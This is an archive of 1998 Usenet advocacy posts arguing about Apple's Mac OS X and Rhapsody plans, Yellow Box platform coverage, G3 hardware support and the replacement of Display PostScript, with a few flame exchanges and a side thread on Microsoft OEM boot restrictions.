> > support intersect only at a tiny point you're likely better off doing
> > something more for the ones where there's a lot of overlap.
>
> But the whole reason for going to NT is market coverage.
But they aren't going to _NT_, they're going to _Windows_. There's a huge
difference.
> If you can get
> more coverage from Yellow Box, why not? Especially when the testimonials
> of rapid development times begin to roll in.
Because the last thing Apple needs to do now is to overpromise and
underdeliver (again). A Solaris programmer is almost certainly writing
either server side code or embedded apps. In neither of these cases is YB of
interest. More to the point for YB to be interesting you need to find
programmers who fit into a group that looks like...
BOOL SolarisUserNeedsYB = Solaris_client_side_app +€(Win32_client ||
Mac_client);
SolarisUserNeedsYB == NO for the VAST majority of programmers out there if
based as above. On the other hand...
Win32UserNeedsYB = (Win32_client || Mac_client);
and that's MUCH more likely to be YES.
> Right, another piece of the puzzle: Linux. A popular platform with
> rapidly growing support.
Sure, but Linux is not Solaris. I don't see any real market for Solaris, I
do see one for Linux. I believe the Linux solution is Rhapsody for Intel.
> No, but let me explain a concept I'm finding difficult to put into
> words. It goes like this: 100% is better than 90%
For 1% of the developers.
> Let me put it this way: there's no point in a dual-platform strategy. It
> makes no sense.
It does is those two platforms get you 99% of developer coverage.
Maury
From: Buckley<pb141@columbia.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 25 May 1998 15:43:41 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6kc3jd$7vn$1@news6.ispnews.com>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <markeaton-1905982112330001@user-38ld608.dialup.mindspring.com>
NNTP-Posting-Date: 25 May 1998 15:43:41 GMT
In-Reply-To: <markeaton-1905982112330001@user-38ld608.dialup.mindspring.com>
On 05/19/98, Mark Eaton wrote:
>In article <6jsa2r$u82$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
>> (Kurt D. Bollacker) wrote:
>>
>> > WYSIWYG and Unified Fonts: How do I insure that fonts on screen and in
>> > my printer are the same?
>>
>> Yellow apps will still have WYSIWYG and a unified imaging model. This of
>> course won't hold true for MacOS or Carbon apps, but it wouldn't have in
>> Rhapsody either.
>
>Carbon apps will have access to extended QuickDraw and ATSUI, the common
>wysiwig imaging system for MacOS X.
Last time I worked with QuickDraw it wasn't satisfactory. I'm not familar
with ATSUI (or even what it stands for).
Is this really WIS(on the screen)IWIG(on paper)?
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 25 May 1998 08:43:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18EDFB2-8A5C@206.165.43.4>
References: <joe.ragosta-2505981110440001@elk49.dol.net>
nntp://news.primenet.com/comp.sys.mac.advocacy
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Joe Ragosta <joe.ragosta@dol.net> said:
>> This is hardly a consumer-level solution, and if Apple choses to, they
can
>> easily ensure that it will be *at least* that hard to get MacOS X to
boot
>> on non-supported machines even if it still "runs on them."
>
>Of course, DR1 was, by definition, not intended as a consumer level
>solution, so it's hardly relevant.
>
Of course it is relevant, Joe. It's an example of how easy (not) it is to
boot DR 1 on a machine that it doesn't "officially support."
In other words, Apple can make it arbitrarily difficult to run MacOS X on
non-supported machines and you can still claim that it WILL run on them.
There's no technical reason why X can't run on any PCI PowerMac since it is
based on Rhapsody 1.0, which is going to run on any PCI PowerMac. It is a
marketing-issue ONLY, not a technical one.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Mon, 25 May 1998 10:41:35 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3569912F.50C64605@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <joe.ragosta-2305982110400001@elk46.dol.net> <3567b573.0@206.25.228.5> <joe.ragosta-2405981333400001@elk35.dol.net> <35690863.8A1D842E@nstar.net> <joe.ragosta-2505980706530001@elk52.dol.net> <35697447.9C906249@nstar.net> <joe.ragosta-2505981059310001@elk49.dol.net>
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NNTP-Posting-Date: 25 May 1998 15:46:21 GMT
Joe Ragosta wrote:
> > Okay, this is good. Now, if you could just explain how exactly that
> > happens? I'm curious to know how it is possible for humans to perform an
> > action they did not willingly choose. I've heard of physical force and
> > chemical influence, and I'm wondering if those were involved, because I
> > can't think of another way.
>
> Give me a break.
>
> I have a family to feed. I have several choices:
>
> 1. Quit my job and let them starve until I find another job of comparable
> position (not very easy).
>
> or
>
> 2. Use Windows.
>
> If that's not "force", I don't know what is.
Allow me to apologize. If I'd known your family would starve without the
use of Microsoft products, I would never have questioned your integrity.
Now that it's clearly a matter of life-and-death, I have no choice but
to concede the point.
MJP
"No, not really!"
-- Tostitos commercial
From: kms@norfolk-county.com (K. Sebring)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: Mon, 25 May 1998 11:37:38 -0400
Organization: I say screw it!
Message-ID: <kms-2505981137390001@dialinuser194.norfolk-county.com>
References: <joe.ragosta-2405980800010001@elk60.dol.net> <B18E52BF-1263AB@206.165.43.142>
In article <B18E52BF-1263AB@206.165.43.142>, "Lawson English"
<english@primenet.com> wrote:
>Joe Ragosta <joe.ragosta@dol.net> said:
>
>>
>>Actually, the official word is that G3 is definite, 604e is under
>>consideration. There is speculation that it will run on 604e boxes, but
>>will not be officially supported.
>
>
>DR1 Rhapsody will only install on certain machines, but if you install it
>on external drive hooked to a supported machine with the same ROM and
>processor-type as your non-supported machine, you can often boot from that
>hard-drive on the non-supported machine as well.
>
>This is hardly a consumer-level solution, and if Apple choses to, they can
>easily ensure that it will be *at least* that hard to get MacOS X to boot
>on non-supported machines even if it still "runs on them."
I'm still confused on this "G3 only" thing. On the Apple page for MacOS X
(http://developer.apple.com/macosx/), and I quote,
"Mac OS X (ten), Apple's new advanced version of the Mac OS will be
available to developers in early 1999 and ship in the Fall of 1999. It
will feature preemptive multitasking, memory protection and advanced
virtual memory, and will be fully optimized for Apple's PowerPC G3 based
computers."
What's the deal?
>
>----------------------------------------------------------------------
>Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
>----------------------------------------------------------------------
--
-----------------------
kms@norfolk-county.com
kmsmac on AIM
ICQ #9251405
From: kms@norfolk-county.com (K. Sebring)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: Mon, 25 May 1998 11:33:43 -0400
Organization: I say screw it!
Message-ID: <kms-2505981133440001@dialinuser194.norfolk-county.com>
References: <19980524115727788215@ts2-18.aug.com> <B18DBFC6-7F7D@206.165.43.164>
In article <B18DBFC6-7F7D@206.165.43.164>, "Lawson English"
<english@primenet.com> wrote:
>Rick <nospamhattonr@aug.com> said:
>
>>MacOS X will not run on Intel. Supposedly apps created by using "Yellow
>>Box" APIs can be compiled to run on MacOS X, MacOS, and Intel. BSD apps
>>should also run on both.
>
>
>
>Not quite. YB will only run on Rhapsody and MacOS X. No news about a MacOS
>9 in the works, so I think that they are waiting to see how many people
>upgrade immediately to X before they start working on 9.
Wait, I don't understand. MacOS X=Ten. Not (e)X! Why would 9 (Sonata?)
come _after_ 10? 1, 2, 3, 4, 5, 6, 7, 8, 10, 9... wait a minute...
>
>----------------------------------------------------------------------
>Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
>----------------------------------------------------------------------
--
-----------------------
kms@norfolk-county.com
kmsmac on AIM
ICQ #9251405
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 25 May 1998 09:08:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18EE572-1E45B@206.165.43.4>
References: <kms-2505981137390001@dialinuser194.norfolk-county.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
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K. Sebring <kms@norfolk-county.com> said:
>I'm still confused on this "G3 only" thing.
Aren't we all?
On the Apple page for MacOS X
>(http://developer.apple.com/macosx/), and I quote,
>
>"Mac OS X (ten), Apple's new advanced version of the Mac OS will be
>available to developers in early 1999 and ship in the Fall of 1999. It
>will feature preemptive multitasking, memory protection and advanced
>virtual memory, and will be fully optimized for Apple's PowerPC G3 based
>computers."
>
Other sources have indicated that X will be G3-only, not just G3-optimized.
>What's the deal?
Who knows?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rlove@antispam.neosoft.com (Robert B. Love )
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 25 May 1998 17:00:25 GMT
Organization: NeoSoft, Inc.
Message-ID: <6kc839$5m5$1@uuneo.neosoft.com>
References: <6k6e6t$sr4$10@ironhorse.plsys.co.uk> <B18C3BBB-16B4C@206.165.43.104>
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Cc: english@primenet.com
In <B18C3BBB-16B4C@206.165.43.104> "Lawson English" wrote:
> Do you understand that this is NOT GX typography, but only a subset of
the
> layout shape's formatting algorithms?
Do you understand that GX is a technology, not a religion?
>There is a 500 page manual describing GX typography, which includes
Do you understand that this book is a tech manual, not a bible?
Do you understand that you are a programmer, not a preacher?
Do you understand that not even your own Mac enthusiasts want to
read your constant harping on this? Shut up about GX already!
----------------------------------------------------------------
Bob Love MIME & NeXT Mail OK
rlove@neosoft.com PGP key available
----------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 25 May 1998 12:28:40 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kbo5o$qt5$2@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
<6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net>
<6kbd9q$jkc$2@ns3.vrx.net> <3569969D.5E99D336@nstar.net>
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Cc: mjpeck@nstar.net
In <3569969D.5E99D336@nstar.net> "Michael J. Peck" claimed:
> No. Maybe it's just the industry I work in, but I never hear of people
> going to "Windows". They're going to NT.
Really? I've _never_ heard anyone refer to NT as "Windows". I have
_never_ heard of anyone refer to Windows and mean _specifically_ NT. In
fact, I do not believe your claim above and believe it is a fabrication or
gross exaggeration.
> > Because the last thing Apple needs to do now is to overpromise and
> > underdeliver (again).
>
> Wrong! Why does everyone get this wrong? Why is everybody so twisted up
> about the idea of a company making promises?
Exactly. Their track record over the last five years is pathetic and any
such promise is greeted with INCREADIBLE sceptism - and rightfully so.
If Apple says that Rhapsody will be on Mac and Windows, many people (not
all by any means) will believe them. If they say it will be available on
Mac, Windows, Linux. Solaris and DEC Unix, NO ONE will believe them.
> to do. And Apple *definitely* needs to make big promises right now. It
> also needs to intend to fulfill them. But don't make like Apple's best
> course of action is some safe, minimalist track that won't offend or
> excite anybody. That's horsesh**.
At this point Apple does not have the manpower needed to complete a Linux
port, or any other than the current deliverables. They have no ability to
deliver these so obviously, as you note, they shouldn't say they are going
to.
In fact this is the big issue for the Intel version in general. The number
of Mach||YB-savvy people in Apple is too small as it is.
> Well, frankly, you're wrong. I don't know how much exposure you have to
> the Unix development market, but there's a very large market for GUI
> apps that put Unix to use in ways NT can't deliver.
A very large market? Surely you jest. Could this market for GUI desktop
apps be larger than, say, 5 million? I seriously doubt it.
> At Federal Express one of our group's largest projects was a
> weather-tracking client/server app designed by American Airlines. We
> were developing a client-side front-end in Motif. Much of the app was
> embedded, yes, but our whole job was the client, so we were largely
> concerned with GUI facilities.
And this is used by exactly how many people? 50k? Is this the "large
market" you refer too?
> > SolarisUserNeedsYB == NO for the VAST majority of programmers out there
if
> > based as above. On the other hand...
>
> I respectfully disagree. You're very wrong about this...
>
> > Win32UserNeedsYB = (Win32_client || Mac_client);
> >
> > and that's MUCH more likely to be YES.
>
> Just out of curiosity, what makes you say this?
The simple fact that more people run MacOS than all Unixes combined, and
likely outnumbers desktop deployment 10 to 1. The fact that Windows
outnumbers MacOS in the same way by another 10 to 1.
It's called "basic math".
> constructing an artificial distinction based on your experience with
> what you envision as "server operating systems" and "GUI operating
> systems". You'd say Solaris is a "server operating system" and thus
> never really sees much GUI use.
I did not say anything of the sort. I said the DEVELOPERS on those
platforms are generally developing SERVER apps.
> Solaris does, in fact, see a tremendous amount of desktop GUI use.
I have _never_ seen a Solaris box being used for productivy apps. I believe
this is the general case and I refuse to allow you to explain this away as
some sort of limited visibility on my part.
> almost entirely unacceptable, nowadays, to develop any kind of software
> that does not have an easily-accessible GUI interface, even if just for
> configuration. GUI programming is an integral part of server programming
> these days.
A GUI wrapper for Apache doesn't make it a client side productivity app.
It makes it a server app with a GUI wrapper.
> That's _really_ untrue. Linux and Solaris sell to different markets, a
> fact that Sun has demonstrated by endorsing Linux and lending it
> credibility.
Exactly, and those different markets is all the difference in my argument.
This is painfully clear, yet you missed it.
> The Linux solution is Yellow Box (Concert) for Linux.
I don't think so.
> Name a developer who doesn't benefit from total market coverage.
Me.
> developers I know would give their right arms to sell into the Unix
> market with an existing app.
Really? Would they still think so if that meant their Win/Mac product had
to be delayed one year?
> They're tired of razor-thin margins in the
> consumer space and they want corporate contracts. That's why anybody
> with a brain has already ported to NT.
Does Word for NT sell for more than Word for Win95? No. In fact I can
name no product that does except for ones that ONLY run under NT. Can you
provide any examples? Even one?
> > It does is those two platforms get you 99% of developer coverage.
>
> What?! NT gives you that.
NT gets you about 3% market coverage.
> if all they get is what they already have anyway? Don't make me laugh,
> you can't sell Yellow Box on the basis of market coverage if it doesn't
> actually *increase* market coverage!
Duh.
Another seemingly productive thread killed by your silly nitpicking points
and unrealistic views. I bow out (again).
Maury
From: Remco Post <root@localhost.localdomain>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Mon, 25 May 1998 18:36:46 +0200
Organization: University of Twente, Enschede, The Netherlands
Message-ID: <35699E1E.C8C20389@localhost.localdomain>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6juunr$1od$1@crib.bevc.blacksburg.va.us> <joe.ragosta-2005981413320001@wil112.dol.net> <35642BED.C74CB80B@milestonerdl.com> <6k8ebo$vja$1@news.orbitworld.net> <joe.ragosta-2405980800010001@elk60.dol.net>
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Joe Ragosta wrote:
>
> In article <6k8ebo$vja$1@news.orbitworld.net>,
> ghenders@gary-hendershot.com (Gary Hendershot) wrote:
>
> > >
> > > So, you have knowledge the rest of us don't? That any PPC box
> > > that runs Rhapsody 1.0 PPC will run Mac OS X?
> > ========================================================================
> >
> > Rhapsody 1/PPC will run on a 604 box, but that won't be the case with
> > MacOS-X.
> >
> > The word out on this issue (maybe it would be fair to call it an
> > interpretation -- even though nothing is concrete yet) is that MacOS-X
> > will *only* be supported on the G3/G4 platform (or higher). The
> > 601, 603, and 604 platforms will have to operate on MacOS 9.x, which will
> > continue to get tweaks as needed for a number of years until the vast
> > majority of Macintosh users have converted to G3/G4 or higher hardware.
> >
> > Apple is wanting to optimise MacOS-X for G3/G4, not to mention enhance
> > their bottom line by forcing anyone with these "older" platforms to
> > upgrade their hardware if they *really* need the advanced features of
> > MacOS-X. A significant number will go ahead and jump on the G3/G4
> > bandwagon about the time MacOS is released anyway, since FireWire,
> > AltiVec, and other goodies will be present in these 1999/2000 G3/G4
> > boxes.
> >
>
> Actually, the official word is that G3 is definite, 604e is under
> consideration. There is speculation that it will run on 604e boxes, but
> will not be officially supported.
>
I guess that this will be my last Mac ever, then. When I bought this
7200 I
was told that it would run the new MacOS (copland at that time). Well,
this
does it for me, mo more Mac's. I'll be buying Intel/Linux from now on.
Apple has severly let me down, promising memory protection and
preemptive
multitasking for years now, and not delivering either. I'm glad as hell
this box runs Linux-pmac and will remain to do so for a few years. At
least
I'm sure I'll have a decent OS to run on this box until it gets replaced
by
something newer and faster and (above all) cheaper.
--
Remco Post is R.S.P.Post<at>student<dot>utwente<dot>nl
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 25 May 1998 11:50:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18F0B8D-9EEE@206.165.43.100>
References: <6kc839$5m5$1@uuneo.neosoft.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Robert B. Love <rlove@antispam.neosoft.com> said:
>In <B18C3BBB-16B4C@206.165.43.104> "Lawson English" wrote:
>> Do you understand that this is NOT GX typography, but only a subset of
>the
>> layout shape's formatting algorithms?
>
>Do you understand that GX is a technology, not a religion?
>
Yep.
>>There is a 500 page manual describing GX typography, which includes
>
>Do you understand that this book is a tech manual, not a bible?
Yep, but we were talking about the technology, as defined in the manual.
>
>Do you understand that you are a programmer, not a preacher?
>
Yep.
>Do you understand that not even your own Mac enthusiasts want to
>read your constant harping on this?
These guys are not Mac-user enthusiasts but merely techno-elitists. I work
with Mac users. Most of these guys don't.
> Shut up about GX already!
Fuck you, too.
Kill file me if you don't like what I say.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Message-ID: <1998052518581700.OAA09788@ladder01.news.aol.com>
Date: 25 May 1998 18:58:17 GMT
Organization: AOL http://www.aol.com
References: <6kb49o$ele$2@geraldo.cc.utexas.edu>
Kurt D. Bollacker said:
>It's rather pathetic that
>Apple will release an OS that will be 7 years newer than my old NeXTSTEP and
>will have such glaring inferiorities. Eventually, I'll have to upgrade my
>hardware, but it really is annoying to significantly downgrade my software
>in the process.
This really sums it up, doesn't it?
I am fortunate in having Openstep 4.2 for M68K/Intel, so I will be able to limp
along on Intel hardware once I manage to get a setup which it will install to.
(Anyone have a PCMCIA SCSI adapter to spare?)
Does GNU need any more money for anything specifically related to GNUstep? I
believe I may start sending them a matching amount whenever I purchase any
other piece of software.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: antispam@nowhere.com (don rastus)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Mon, 25 May 1998 13:18:09 -0400
Organization: Wesleyan University
Message-ID: <antispam-2505981318110001@ppp25.subnet252.wesleyan.edu>
References: <joe.ragosta-1905980909400001@wil94.dol.net> <B18718E0-3215B@206.165.43.112> <6k1pr7$sr4$1@ironhorse.plsys.co.uk>
In article <6k1pr7$sr4$1@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>In <B18718E0-3215B@206.165.43.112> "Lawson English" wrote:
>> And more than 2/3 of All existing Macs are running System 7.x by now, which
>> means that 2/3 of all potential MacOS "AppleWorks" customers (will there be
>> an "AppleWorks Office" I wonder?) use the same code-base.
>>
>> Which YOU want Apple to abandon by abandoning support for 68K Macs.
>>
>And these folks are contributing to Apple's bottom line how, exactly...?
>
>If I had a 386 PC running Windows 3.11 I wouldn't expect much in the way of
>support.
>
And if I may throw my hat in the ring...
I'm the _equivalent_ of that PC user, with a Mac. Performa 467, 68030@33MHz.
Running System 7.5.5. The system is maxed to the hilt, but hey, it's got
ClarisWorks, the version which came with it when it was purchased four
years ago... version 2.1.
Joe and others are absolutely correct. I don't expect much support with
such antiquated hardware, and trust me, if I _needed_ the upcoming
AppleWorks 5.0, well, I'd certainly want to have a faster and newer
computer anyway. (Although ironically enough I can run AppleWorks right
now... v1.2 for the IIe, through my Apple IIe card ;)
People who have old computers are not busy buying the latest and greatest
software for them, trust me. If we could afford the latest and greatest
software, we'd also have something a bit closer to the latest and greatest
computers. IMHO, Apple started getting smart with MacOS 7.6, when it
finally started to drop legacy support for machines which at best could
barely support the OS anyway. (7.5.5 on a MacPlus... now there's a scary
thought, even though it was supported officially.)
--
Kreig K. Zimmerman
kzimmerman at wesleyan dot edu
http://www.con.wesleyan.edu/~kreig/
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 25 May 1998 12:24:29 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6kc8v2$4bu$2@ligarius.ultra.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <Josh.McKee-2405980959090001@pm3a10.rmac.net> <6k9gh7$5lk$1@nargun.cc.uq.edu.au> <ericb-2405981851440001@132.236.171.104>
Eric Bennett wrote in message ...
>In article <6k9gh7$5lk$1@nargun.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>
>> Because they are contractually obliged not to. How do you think Apple
would
>> react if CompUSA sold all their Macs so that they booted straight to VPC
>> running Windows 95 ? I see no huge problem with Microsoft setting
>> restrictions on how their OS boots on a machine the *first* time (note
that
>> the manufacturer can set the machine to do whatever it wants after that
>> first boot).
>
>How can they do that? Microsoft forbids them from running any startup
>processes during the first boot. Without the ability to do that, they
>cannot possibly cause Windows to boot differently the second or third
>time.
>
When does the boot end? At the login prompt? If so, they could do the switch
then. Does it end after the first user login? Then the second user login
could be to an account that does the switch.
I'm not saying that any of this is convenient or that I think it's a good
idea. But if these are the rules there are simple ways around them.
John Saunders
jws@jws.ultranet.com
>--
>Eric Bennett (www.pobox.com/~ericb), Cornell University
>
>The right of every man to work, labor, and produce . . . on equal terms
[is]
>industrial liberty and lies at the foundation of the equality of all rights
>and priviliges.
>- Senator John Sherman
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 25 May 1998 12:25:46 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6kc8v3$4bu$3@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk> <tvyra1je0dw.fsf@cn1.connectnet.com>
Darin Johnson wrote in message ...
>"David McCabe" <david.mccabe@balliol.oxford.ac.uk> writes:
>
>> Please substantiate your argument. Give examples, technical references,
>> whatever. Please explain to me why, despite the integration level,
Netscape
>> can't simply implement the same documented interfaces and replace the
>> pointers in the Registry.
>
>It's history. Microsoft has done this sort of thing in the past.
>Until they prove themselves trustworthy, we have no reason to assume
>they haven't done this again, and won't do so in the future.
>
One could also try it and find out, and stop acting like a child.
John Saunders
jws@jws.ultranet.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 25 May 1998 17:36:45 GMT
Organization: P & L Systems
Message-ID: <6kca7d$d5n$7@ironhorse.plsys.co.uk>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112>
<3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3>
<6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3>
<3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3>
<6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-2505980225090001@192.168.0.3> Eric King wrote:
> In article <6k9qea$d5n$1@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> :This has been made very clear on several occasions, and it's
> :more than frustrating -- although not entirely surprising -- that you
> :continue parrot this FUD.
>
> What's FUD about this? Both *implementations* do require DPS. The
> actual interfaces might not, but the implementations do.
>
The FUD is explained in the subsequent paragraph -- hardly a difficult
idea...
> :Relevant people from Apple (e.g. Jordan Dea-Mattson, Mike Paquette) have
> :stated explicitly that whilst remote hosting will not be supported *at the
> :moment*, hooks will be present for third parties.
>
> And that does not in any way negate what I said above. The current
> implementations do require it, and there are no clear replacements in
> sight. Hooks != replacements.
You wrote (in response to "Wraps and NSHosting aren't related very much. "
>
> Except by their current implementations, which both rely on DPS. Take
> DPS away and you have neither, with no clear replacements in sight.
>
There are clear replacements in sight for NSHosting: Mike Paquette stated
that the hooks will be there; Wilfred Sanchez said that Apple intends to
support this eventually. This is not a situation "with no clear replacements
in sight".
There is no replacement for pswraps -- they depend on a PS interpreter,
that's the whole point. What part of that don't you understand?
> Please name me a third party who has
> announced that they're going to provide the equivalent of NSHosting in
> MacOS X. I have a feeling something will eventually come along, but it's
> by no means guaranteed.
>
OK, I hereby announce that P & L Systems will produce an application which
will contain some form of remote hosting ability. More details when we find
out more about what's allowed by the new window server. Happy?
> :No, the issue (which you brought up) was:
> :
> :"You guys also saw no reason to assume that DPS or an equivalent would not
be
> :available."
> :We are getting an equivalent which offers WYSIWYG
>
> Well, there seems to be some disagreement in your camp as to whether
> something that doesn't use DPS can provide true WYSIWYG. I think it's safe
> to say that there are some OpenStep developers who do *not* think they're
> getting an equivalent.
>
If there are, they're wrong. Explain to me how they're right.
> :and which is compatible
> :with most code that most people have written over the years (i.e. all the
> :PSmoveto, PSlineto, and [myObject draw] stuff)
>
> And which still doesn't seem to offer a high level 2D graphics
> framework, like GX, Taligent, or Java2D.
>
So? This has been argued ad nauseum. cf dejanews December 1997 - present.
> At least the GX text services are making it in and Quickdraw is having some
> significant additions made to it.
>
I'd have thought this would make you a bit happier. There seems to be no
pleasing some people.
> : -- as Henry rightly points
> :out, all the time you guys have had your hands over your ears,
>
> Have we? Let's see, in the beginning of these debates we said that
> Apple should not use DPS as the primary imaging engine because we had
> doubts about its performance and because it belonged to Adobe.
> You guys told us that it would be a *huge* task to remove DPS from the
> Appkit, and that it made no sense to remove it because 'It just works' You
> also assured us that it had no performance problems and
>
Yes, and what's different now?
re the *huge* task (which you note will take Apple one and a half years):
(a) What part of "it uses the same imaging model" don't you understand;
(b) explain how replacing DPS with GX instead of PDF would make the task
easier.
> that Adobe would have to be crazy not to come to reasonable licensing
> terms with Apple.
>
I don't recall making such a statement myself.
> There was also blather about how you needed DPS for true WYSIWYG,
>
This was true; now we have PDF as well.
> EPS support,
>
This probably remains true -- we haven't seen yet how EPS will be handled.
Maybe as badly as it is on the Mac at the moment.
> NSHosting,
>
I don't recall NSHosting being mentioned in the context of DPS prior to this
year's WWDC. Explain to me again how GX would offer this facility?
> how the publishing market was absolutely drooling over
> it, how it was one of the fastest RIPs in existence etc. etc.
>
And at the time this was certainly the case, and it remains largely true.
Now we've moved on another year, and we're discussing a system that will be
deployed a year and a half from now. I've spoken with a couple of folks over
